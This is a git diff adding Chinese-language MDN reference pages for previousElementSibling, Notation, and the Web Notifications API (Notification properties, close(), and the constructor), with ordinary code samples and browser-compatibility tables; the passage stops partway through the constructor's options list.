diff --git a/files/zh-cn/web/api/nondocumenttypechildnode/previouselementsibling/index.html b/files/zh-cn/web/api/nondocumenttypechildnode/previouselementsibling/index.html new file mode 100644 index 0000000000..8c78a68adf --- /dev/null +++ b/files/zh-cn/web/api/nondocumenttypechildnode/previouselementsibling/index.html @@ -0,0 +1,118 @@ +--- +title: NonDocumentTypeChildNode.previousElementSibling +slug: Web/API/NonDocumentTypeChildNode/previousElementSibling +translation_of: Web/API/NonDocumentTypeChildNode/previousElementSibling +--- +

{{ ApiRef() }}

+ +

概述

+ +

previousElementSibling 返回当前元素在其父元素的子元素节点中的前一个元素节点,如果该元素已经是第一个元素节点,则返回null,该属性是只读的.

+ +

语法

+ +
var prevNode = elementNodeReference.previousElementSibling;
+
+ +

例子

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+<li>This is a list item</li>
+<li>This is another list item</li>
+<div id="div-03">Here is div-03</div>
+
+<script type="text/javascript">
+  var el = document.getElementById('div-03').previousElementSibling;
+  document.write('<p>Siblings of div-03</p><ol>');
+  while (el) {
+    document.write('<li>' + el.nodeName + '</li>');
+    el = el.previousElementSibling;
+  }
+  document.write('</ol>');
+</script>
+
+ +

上面的例子会输出以下内容:

+ +
Siblings of div-03
+
+   1. LI
+   2. LI
+   3. DIV
+   4. DIV
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4{{ CompatGeckoDesktop("1.9.1") }}99.84
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatVersionUnknown}}9.8{{CompatVersionUnknown}}
Support on {{domxref("CharacterData")}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

规范

+ +

Element Traversal Specification: previousElementSibling

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/element.previousElementSibling" } ) }}

diff --git a/files/zh-cn/web/api/notation/index.html b/files/zh-cn/web/api/notation/index.html new file mode 100644 index 0000000000..5a196228f4 --- /dev/null +++ b/files/zh-cn/web/api/notation/index.html @@ -0,0 +1,54 @@ +--- +title: Notation +slug: Web/API/Notation +tags: + - API + - Obsolete + - Reference +translation_of: Web/API/Notation +--- +
{{APIRef("DOM")}}{{draft}}{{obsolete_header}}
+ +

表示DTD表示(只读)。可以声明未解析实体的格式或正式声明文档的处理指令目标。从 node 继承方法和属性。它的 nodeName 是表示法名称。没有父节点。

+ +

属性

+ +
+
{{domxref("Notation.publicId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Notation.systemId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#ID-5431D1B9", "Notation")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-5431D1B9', 'Notation')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Notation")}}

diff --git a/files/zh-cn/web/api/notification/actions/index.html b/files/zh-cn/web/api/notification/actions/index.html new file mode 100644 index 0000000000..0646fd416d --- /dev/null +++ b/files/zh-cn/web/api/notification/actions/index.html @@ -0,0 +1,132 @@ +--- +title: Notification.actions +slug: Web/API/notification/actions +tags: + - Notification actions + - Notifications + - Web API + - Web Notifications API +translation_of: Web/API/Notification/actions +--- +

{{APIRef("Web Notifications")}}

+ +

{{domxref("Notification")}}接口的只读属性actions返回使用{{domxref("Notification.Notification","Notification()")}}构造函数创建通知时使用actions选项设置的{{domxref("NotificationAction")}}对象列表。这是用户可以在通知上下文中选择立即执行的应用定义的操作列表。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var actions[] = Notification.actions;
+ +

+ +

{{domxref("NotificationAction")}}对象的只读数组。用户在通知中选择每项的单一的功能。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Notifications','#dom-notification-actions','actions')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(40)}}{{CompatUnknown}}
Available in workers{{CompatChrome(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(40)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support +

{{CompatNo}}

+
{{CompatChrome(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(40)}}{{CompatUnknown}}
Available in workers{{CompatNo}}{{CompatChrome(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(40)}}{{CompatUnknown}}
+
+ +

Firefox OS 相关

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome 相关

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari 相关

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/notification/badge/index.html b/files/zh-cn/web/api/notification/badge/index.html new file mode 100644 index 0000000000..9858d6424c --- /dev/null +++ b/files/zh-cn/web/api/notification/badge/index.html @@ -0,0 +1,94 @@ +--- +title: Notification.badge +slug: Web/API/notification/badge +tags: + - Notification + - Notification badge + - Notifications API + - Web API +translation_of: Web/API/Notification/badge +--- +

{{SeeCompatTable}}{{APIRef("Notifications API")}}

+ +

当没有足够的空间来显示通知本身时,{{domxref("Notification")}}接口的 badge 属性返回用于表示通知的图像URL。

+ +

语法

+ +
var url = Notification.badge
+ +

+ +

包含一个URL的 {{domxref('USVString')}} 。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Notifications','#dom-notification-badge','badge')}}{{Spec2('Web Notifications')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(39)}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/notification/body/index.html b/files/zh-cn/web/api/notification/body/index.html new file mode 100644 index 0000000000..02ada837d2 --- /dev/null +++ b/files/zh-cn/web/api/notification/body/index.html @@ -0,0 +1,155 @@ +--- +title: Notification.body +slug: Web/API/notification/body +translation_of: Web/API/Notification/body +--- +

{{APIRef("Web Notifications")}}

+ +

 {{domxref("Notification")}} 的只读属性body返回了构造函数{{domxref("Notification")}}实例化时,options所使用的body值。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var body = Notification.body;
+
+ +

+ +

{{domxref("DOMString")}}.

+ +

示例

+ +

在 Emogotchi demo (see source code)中, 我们在激活一个桌面通知时,调用了spawnNotification()函数—函数被传入了指定的参数 body、icon、title , 创建了一个必选对象传入{{domxref("Notification.Notification","Notification()")}} 构造函数创建了一个实例.

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-body','body')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5 {{ property_prefix("webkit") }} (see notes)
+ 22
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
{{ CompatNo() }}256 (see notes)
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatUnknown() }} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
1.0.1 {{ property_prefix("moz") }} (see notes)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }} +

{{CompatVersionUnknown}}

+
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Firefox OS 备忘

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome 备忘

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari 备忘

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/notification/close/index.html b/files/zh-cn/web/api/notification/close/index.html new file mode 100644 index 0000000000..294360572c --- /dev/null +++ b/files/zh-cn/web/api/notification/close/index.html @@ -0,0 +1,146 @@ +--- +title: Notification.close() +slug: Web/API/notification/close +tags: + - Notification.close() +translation_of: Web/API/Notification/close +--- +
{{APIRef("Web Notifications")}}
+ +

{{domxref("Notification")}} 接口的 close() 的方法用于关闭一个以前显示的通知。

+ +

Syntax

+ +
Notification.close();
+ +

Parameters

+ +

None.

+ +

Returns

+ +

Void.

+ +

Examples

+ +

以下是 Emogotchi 示例在线演示)中的一段代码 ,定义了一个简单的函数spawnNotification,当spawnNotification被调用时会创建一个对象并生成一个新的Notification。在函数的最后,它在{{domxref("WindowTimers.setTimeout","setTimeout()")}} 中调用了close()函数来实现在4s后关闭Notification(有些浏览器会自动关闭弹出的Notification,但有些不是,例如Chrome,Opera)。还要注意bind()的使用,来确保close()方法绑定到Notification的实例上。

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+
+  var n = new Notification(theTitle,options);
+  setTimeout(n.close.bind(n), 4000);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{property_prefix("webkit")}}[1]
+ 22
{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}
{{CompatNo}}256[3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}{{CompatGeckoMobile(4.0)}}{{property_prefix("moz")}}[2]
+ {{CompatGeckoMobile(22.0)}}
1.0.1{{property_prefix("moz")}}[2]
+ 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
+
+ +

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.

+ +

Before Chrome 32, {{domxref("Notification.permission")}} was not supported.

+ +

Before Chrome 42, service worker additions were not supported.

+ +

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification method.

+ +

Prior to Firefox 22 (Firefox OS <1.2), the Notification was displayed when calling the show method and supported only the click and close events.

+ +

Nick Desaulniers wrote a Notification shim to cover both newer and older implementations.

+ +

One particular Firefox OS issue is that you can pass a path to an icon to use in the notification, but if the app is packaged you cannot use a relative path like /my_icon.png. You also can't use window.location.origin + "/my_icon.png" because window.location.origin is null in packaged apps. The manifest origin field fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS <1.1 is to pass an absolute URL to an externally hosted version of the icon. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.

+ +

When using notifications  in a Firefox OS app, be sure to add the desktop-notification permission in your manifest file. Notifications can be used at any permission level, hosted or above: "permissions": { "desktop-notification": {} }

+ +

[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).

+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/data/index.html b/files/zh-cn/web/api/notification/data/index.html new file mode 100644 index 0000000000..b7426d601e --- /dev/null +++ b/files/zh-cn/web/api/notification/data/index.html @@ -0,0 +1,165 @@ +--- +title: Notification.data +slug: Web/API/notification/data +translation_of: Web/API/Notification/data +--- +

{{APIRef("Web Notifications")}}

+ +

data 只读属性是 {{domxref("Notification")}} 的接口,当它作为构造函数的option可选项之一时,返回结构化的Notification的data数据。

+ +

当你创建Notification时,notification使用的数据可以使任意类型。

+ +

{{AvailableInWorkers}}

+ +

附加语法糖:关于克隆对象的速度研究。

+ +

https://dassur.ma/things/deep-copy/ 

+ +

博客作者认为目前(参考)最快的object克隆、复制方式。

+ +
function structuralClone(obj) {
+  return new Notification('', {data: obj, silent: true}).data;
+}
+ +

Syntax 表达式

+ +
var data = Notification.data;
+
+ +

Value(返回值)

+ +

结构化的克隆数据

+ +

Examples 例子

+ +

产生一个 notification; 简单的options 作为构造参数, 将会触发以option为构造参数的 Notification() .

+ +
var options = {
+  body: 'Do you like my body?',
+  data: 'I like peas.'
+}
+
+var n = new Notification('Test notification',options);
+
+n.data // should return 'I like peas.'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-data','data')}}{{Spec2('Web Notifications')}}Living standard
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(44)}}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{CompatOpera(34)}}{{ CompatNo() }}
Available in workers{{CompatChrome(44)}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatOpera(34)}}{{CompatUnknown}}
Secure contexts only{{CompatChrome(62)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(49)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{CompatChrome(44)}}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{CompatOperaMobile(34)}}{{ CompatNo() }}
Available in workers{{ CompatNo() }}{{CompatChrome(44)}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(34)}}{{CompatUnknown}}
Secure contexts only{{ CompatNo() }}{{CompatChrome(62)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(49)}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/notification/dir/index.html b/files/zh-cn/web/api/notification/dir/index.html new file mode 100644 index 0000000000..51d64db69c --- /dev/null +++ b/files/zh-cn/web/api/notification/dir/index.html @@ -0,0 +1,167 @@ +--- +title: Notification.dir +slug: Web/API/notification/dir +translation_of: Web/API/Notification/dir +--- +

{{APIRef("Web Notifications")}}

+ +

{{domxref("Notification")}} 的`dir`是一个只读属性,它表示Notification中显示的文本方向 会{{domxref("Notification.Notification","Notification()")}} 构造函数里制定的`dir` 属性的值来设定。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var direction = Notification.dir;
+
+ +

+ +

一个表示文本方向的{{domxref("DOMString")}}变量。 可能的取值为:

+ + + +
+

提示:似乎大多数浏览器都忽略了明确的LTR 和RTL 设置,要按照与浏览器的通用设置来操作。

+
+ +

例子

+ +

The following snippet fires a notification; a simple options object is created, then the notification is fired using the Notification() constructor.

+ +
var options = {
+  body: '你去过新疆吗?',
+  dir: 'rtl'
+}
+
+var n = new Notification('测试通知',options);
+
+n.dir // 应该返回 'rtl'
+
+ +

规则

+ + + + + + + + + + + + + + +
规则状态注释
{{SpecName('Web Notifications','#dom-notification-dir','dir')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持5 {{ property_prefix("webkit") }} (看提示)
+ 22
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (看提示)
+ 22
{{ CompatNo() }}256 (看提示)
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
基础支持{{ CompatUnknown() }} +

{{CompatVersionUnknown}}

+
{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (看注释)
+ 22
1.0.1 {{ property_prefix("moz") }} (看注释)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }} +

{{CompatVersionUnknown}}

+
能在Worker里调用{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Firefox OS 提示

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

+ +

Chrome 提示

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

+ +

Safari 提示

+ +

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/notification/icon/index.html b/files/zh-cn/web/api/notification/icon/index.html new file mode 100644 index 0000000000..40f76c90f0 --- /dev/null +++ b/files/zh-cn/web/api/notification/icon/index.html @@ -0,0 +1,63 @@ +--- +title: Notification.icon +slug: Web/API/notification/icon +tags: + - API + - Notification +translation_of: Web/API/Notification/icon +--- +

{{APIRef("Web Notifications")}}

+ +

{{domxref("Notification")}}的只读属性icon使得包含icon的 URL 被显示成通知的一部分,如同指定{{domxref("Notification.Notification","Notification()")}}构造函数中icon的属性。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var icon = Notification.icon;
+
+ +

+ +

一个 {{domxref("USVString")}}。

+ +

示例

+ +

在此示例中,当我们想要发出一个通知时,我们运行一个简单的 spawnNotification() 函数——这是传递参数来指定我们想要的主体、图标和标题,然后它创建必要的options对象,并使用{{domxref("Notification.Notification","Notification()")}}构造函数来触发通知。

+ +
function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-icon','icon')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.Notification.icon")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/notification/image/index.html b/files/zh-cn/web/api/notification/image/index.html new file mode 100644 index 0000000000..9a89fd402b --- /dev/null +++ b/files/zh-cn/web/api/notification/image/index.html @@ -0,0 +1,46 @@ +--- +title: Notification.image +slug: Web/API/notification/image +translation_of: Web/API/Notification/image +--- +

{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}

+ +

 image 是{{domxref("Notification")}} 接口的只读属性,包含了需要显示在通知信息里的图片的URL,可通过{{domxref("Notification.Notification","Notification()")}}构造函数的 image 选项指定。

+ +

语法

+ +
var image = Notification.image;
+
+ +

+ +

{{domxref("USVString")}}。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications','#image-resource','image')}}{{Spec2('Web Notifications')}}Living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.Notification.image")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/notification/index.html b/files/zh-cn/web/api/notification/index.html new file mode 100644 index 0000000000..f92c528b16 --- /dev/null +++ b/files/zh-cn/web/api/notification/index.html @@ -0,0 +1,264 @@ +--- +title: notification +slug: Web/API/notification +tags: + - API + - 参考 + - 通知 +translation_of: Web/API/Notification +--- +
{{APIRef("Web Notifications")}}
+ +
{{AvailableInWorkers}}
+ +
{{securecontext_header}}
+ +
+ +

Notifications API 的通知接口用于向用户配置和显示桌面通知。

+ +

构造方法

+ +
let notification = new Notification(title, options)
+
+ +

参数

+ +
+
title
+
一定会被显示的通知标题
+
options {{optional_inline}}
+
一个被允许用来设置通知的对象。它包含以下属性: +
    +
  • dir : 文字的方向;它的值可以是 auto(自动), ltr(从左到右), or rtl(从右到左)
  • +
  • lang: 指定通知中所使用的语言。这个字符串必须在 BCP 47 language tag 文档中是有效的。
  • +
  • body: 通知中额外显示的字符串
  • +
  • tag: 赋予通知一个ID,以便在必要的时候对通知进行刷新、替换或移除。
  • +
  • icon: 一个图片的URL,将被用于显示通知的图标。
  • +
+
+
+ +

属性

+ +

静态属性

+ +

这些属性仅在 Notification 对象上有效。

+ +
+
{{domxref("Notification.permission")}} {{readonlyinline}}
+
一个用于表明当前通知显示授权状态的字符串。可能的值包括:denied (用户拒绝了通知的显示), granted (用户允许了通知的显示), 或 default (因为不知道用户的选择,所以浏览器的行为与 denied 时相同).
+
+ +

实例属性

+ +

这些属性仅在 Notification 的实例中有效。

+ +
+
{{domxref("Notification.title")}} {{readonlyinline}} (moz only)
+
在构造方法中指定的 title 参数。
+
{{domxref("Notification.dir")}} {{readonlyinline}}
+
通知的文本显示方向。在构造方法的 options 中指定。
+
{{domxref("Notification.lang")}} {{readonlyinline}}
+
通知的语言。在构造方法的 options 中指定。
+
{{domxref("Notification.body")}} {{readonlyinline}}
+
通知的文本内容。在构造方法的 options 中指定。
+
{{domxref("Notification.tag")}} {{readonlyinline}}
+
通知的 ID。在构造方法的 options 中指定。
+
{{domxref("Notification.icon")}} {{readonlyinline}}
+
通知的图标图片的 URL 地址。在构造方法的 options 中指定。
+
+ +

事件处理

+ +
+
{{domxref("Notification.onclick")}}
+
处理 {{event("click")}} 事件的处理。每当用户点击通知时被触发。
+
{{domxref("Notification.onshow")}}
+
处理 {{event("show")}} 事件的处理。当通知显示的时候被触发。
+
{{domxref("Notification.onerror")}}
+
处理 {{event("error")}} 事件的处理。每当通知遇到错误时被触发。
+
{{domxref("Notification.onclose")}}
+
处理 {{event("close")}} 事件的处理。当用户关闭通知时被触发。
+
+ +

方法

+ +

静态方法

+ +

这些方法仅在 Notification 对象中有效。

+ +
+
{{domxref("Notification.requestPermission()")}}
+
用于当前页面向用户申请显示通知的权限。这个方法只能被用户行为调用(比如:onclick 事件),并且不能被其他的方式调用。
+
+ +

实例方法

+ +

这些方法仅在 Notification 实例或其 prototype 中有效。

+ +
+
{{domxref("Notification.close()")}}
+
用于关闭通知。
+
+ +

Notification 对象继承自 {{domxref("EventTarget")}} 接口。

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

Example

+ +

假定有如下 HTML:

+ +
<button onclick="notifyMe()">Notify me!</button>
+ +

接下来发送一条通知:

+ +
function notifyMe() {
+  // 先检查浏览器是否支持
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // 检查用户是否同意接受通知
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // 否则我们需要向用户获取权限
+  else if (Notification.permission !== "denied") {
+    Notification.requestPermission().then(function (permission) {
+      // 如果用户接受权限,我们就可以发起一条消息
+      if (permission === "granted") {
+         var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+
+  // 最后,如果执行到这里,说明用户已经拒绝对相关通知进行授权
+  // 出于尊重,我们不应该再打扰他们了
+}
+ +

See the live result

+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

权限

+ +

当你要在开放 web 应用中使用通知时,请确保将 desktop-notification 权限添加到你的 manifest 文件中。通知可以被用于任何权限级别,hosted 或更高。

+ +
"permissions": {
+    "desktop-notification":{}
+}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5 {{ property_prefix("webkit") }} (see notes)
+ 22
4.0 {{ property_prefix("moz") }} (see notes)
+ 22
{{ CompatNo() }}256 (see notes)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}4.0 {{ property_prefix("moz") }} (see notes)
+ 22
1.0.1 {{ property_prefix("moz") }} (see notes)
+ 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

Gecko 备忘

+ + + +

Chrome 备忘

+ + + +

Safari 备忘

+ + + +

请参见

+ + diff --git a/files/zh-cn/web/api/notification/notification/index.html b/files/zh-cn/web/api/notification/notification/index.html new file mode 100644 index 0000000000..a4954e446a --- /dev/null +++ b/files/zh-cn/web/api/notification/notification/index.html @@ -0,0 +1,301 @@ +--- +title: Notification.Notification() +slug: Web/API/notification/Notification +tags: + - Notification.Notification() +translation_of: Web/API/Notification/Notification +--- +

{{APIRef("Web Notifications")}}

+ +

Notification() 构造函数创建一个新的{{domxref("Notification")}}对象实例。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
let myNotification = new Notification(title, options);
+ +

参数

+ +
+
title
+
定义一个通知的标题,当它被触发时,它将显示在通知窗口的顶部。
+
options {{optional_inline}}
+
options对象包含应用于通知的任何自定义设置选项。选项有: +
    +
  • dir: 显示通知的方向。默认是auto,跟随浏览器语言设置行为,你也可以通过设置ltr和rtl的值来覆盖该行为(虽然大多数浏览器似乎忽略这些设置)
  • +
  • lang: 通知的语言,如使用代表一个BCP 47语言标签的  {{domxref("DOMString")}} 指定的。请参阅Sitepoint ISO 2字母语言代码页面,以获得简单的参考。
  • +
  • badge: 一个 {{domxref("USVString")}} 包含用于表示通知的图像的URL, 当没有足够的空间来显示通知本身时。
  • +
  • body: 一个 {{domxref("DOMString")}} 表示通知的正文,将显示在标题下方。
  • +
  • tag:  一个 {{domxref("DOMString")}} 代表通知的 一个识别标签。
  • +
  • icon:  一个 {{domxref("USVString")}} 包含要在通知中显示的图标的URL。
  • +
  • image: 一个 {{domxref("USVSTring")}}包含要在通知中显示的图像的URL。
  • +
  • data: 您想要与通知相关联的任意数据。这可以是任何数据类型。
  • +
  • vibrate: 一个振动模式 vibration pattern 设备的振动硬件在通知触发时发出。
  • +
  • renotify: 一个 {{domxref("Boolean")}} 指定在新通知替换旧通知后是否应通知用户。默认值为false,这意味着它们不会被通知。
  • +
  • requireInteraction: 表示通知应保持有效,直到用户点击或关闭它,而不是自动关闭。默认值为false。
  • +
+ +

以下选项列在最新规范中,但在任何浏览器中都不支持. It is advisable to keep checking back regularly to see if the status of these has updated, and let us know if you find any out of date information.

+ +
    +
  • silent: 一个 {{domxref("Boolean")}} 指明通知是否应该是无声的,即,不需要发出声音或振动,无论设备设置如何。默认值为false,这意味着它不会保持静默。
  • +
  • sound:一个 {{domxref("USVString")}} 包含通知触发时要播放的音频文件的URL。
  • +
  • noscreen: 一个 {{domxref("Boolean")}} 指定通知触发是否应启用设备的屏幕。 默认值为false,这意味着它将启用屏幕。
  • +
